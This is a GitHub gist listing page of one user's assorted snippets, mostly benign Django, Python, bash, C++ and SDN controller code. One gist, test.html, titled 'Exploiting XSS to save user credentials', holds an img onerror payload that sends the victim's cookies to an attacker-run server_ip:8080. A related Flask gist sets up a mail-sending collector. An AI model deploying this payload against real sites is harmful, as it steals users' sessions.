Skip to content

Instantly share code, notes, and snippets.

View samos123's full-sized avatar
🎯
Focusing

Sam Stoelinga samos123

🎯
Focusing
View GitHub Profile
@samos123
samos123 / required_paramters.py
Created February 28, 2012 06:39
Check if the request.POST or request.GET contains the parameters it should have.
from functools import wraps
from django.http import HttpResponse
def json_response(dict_to_convert_to_json):
return HttpResponse(json.dumps(dict_to_convert_to_json), mimetype="application/json")
def required_parameters(parameters=('email', 'api_key'), http_method='POST'):
"""
Check if the required parameters are present in the request
@param parameters: The names of the parameters that should be supplied
@samos123
samos123 / models.py
Created February 28, 2012 14:22 — forked from treyhunner/models.py
Encrypt and decrypt Django model primary key values (useful for publicly viewable unique identifiers)
# This code is under the MIT license.
# Inspired by this StackOverflow question:
http://stackoverflow.com/questions/3295405/creating-django-objects-with-a-random-primary-key
import struct
from Crypto.Cipher import DES
from django.db import models
def base36encode(number):
@samos123
samos123 / tree.md
Created April 25, 2012 07:53 — forked from hrldcpr/tree.md
one-line tree in python

One-line Tree in Python

Using Python's built-in defaultdict we can easily define a tree data structure:

def tree(): return defaultdict(tree)

That's it!

@samos123
samos123 / cow.service
Last active September 7, 2016 14:49
Systemd service unit file for CoW climb over the firewall
[Unit]
Description=Automatically start CoW climb over the wall(Great Firewall)
After=network.target
[Service]
Type=simple
ExecStart=/usr/sbin/cow
User=samos
[Install]
@samos123
samos123 / backup_corrupted_gzip_files
Created March 1, 2014 03:32
Had some problem with cado-nfs which had a bunch of gzipped files which were corruped so tried to decompress them, if the decompression failed it will automatically move the file to upper directory.
ls *.gz -1 | xargs -I {} sh -c "gzip -d {} || true" 2>&1 | awk '{ print $2}' | sed 's/:$//' | xargs -t -I {} mv {} ../{}_bcorrupted
@samos123
samos123 / change-gateway.sh
Created April 3, 2014 02:07
Playing around with bash, at the university I have to manually set my internet configuration on a specific network. Thought let's automate it
#!/bin/bash
set -xi
sudo ip addr add 172.16.4.99/22 dev eth0
GATEWAY=$(ip route show | grep default | awk '{ print $3}')
echo "Current default gateway: $GATEWAY"
if [ -z $GATEWAY ]
then
sudo ip route del default $GATEWAY
@samos123
samos123 / save_session.py
Created May 1, 2014 10:10
Exploiting XSS to save user credentials
import smtplib
from flask import Flask
from flask import request, redirect
app = Flask(__name__)
SMTP_SERVER = 'smtp.gmail.com'
SMTP_PORT = 587
@samos123
samos123 / test.html
Last active August 29, 2015 14:00
Exploiting XSS to save user credentials
<html>
<body>
<div id="test"></div>
<img onerror="
var get_params = window.location.search.replace('?', '');
if (get_params.indexOf('redirected=1') == -1) {
window.location.replace('http://server_ip:8080/?cookies=' + document.cookie + '&next=' + window.location);
}
" src="#" />
@samos123
samos123 / split.cpp
Created June 4, 2014 13:16
C++ split string by delimiter
// Taken from http://stackoverflow.com/a/236803/376445
#include <fstream>
#include <sstream>
#include <string>
#include <vector>
std::vector<std::string> &split(const std::string &s, char delim, std::vector<std::string> &elems) {
std::stringstream ss(s);
std::string item;
@samos123
samos123 / l2-learning-switch-openflow.py
Created September 29, 2014 05:11
Using mininet to deeper understand openflow, wrote a simple sdn controller which works as l2 learning switch
"""
This component is for use with the OpenFlow tutorial.
This was modified to work as an l2 learning switch
It's quite similar to the one for NOX. Credit where credit due. :)
"""
from pox.core import core
import pox.openflow.libopenflow_01 as of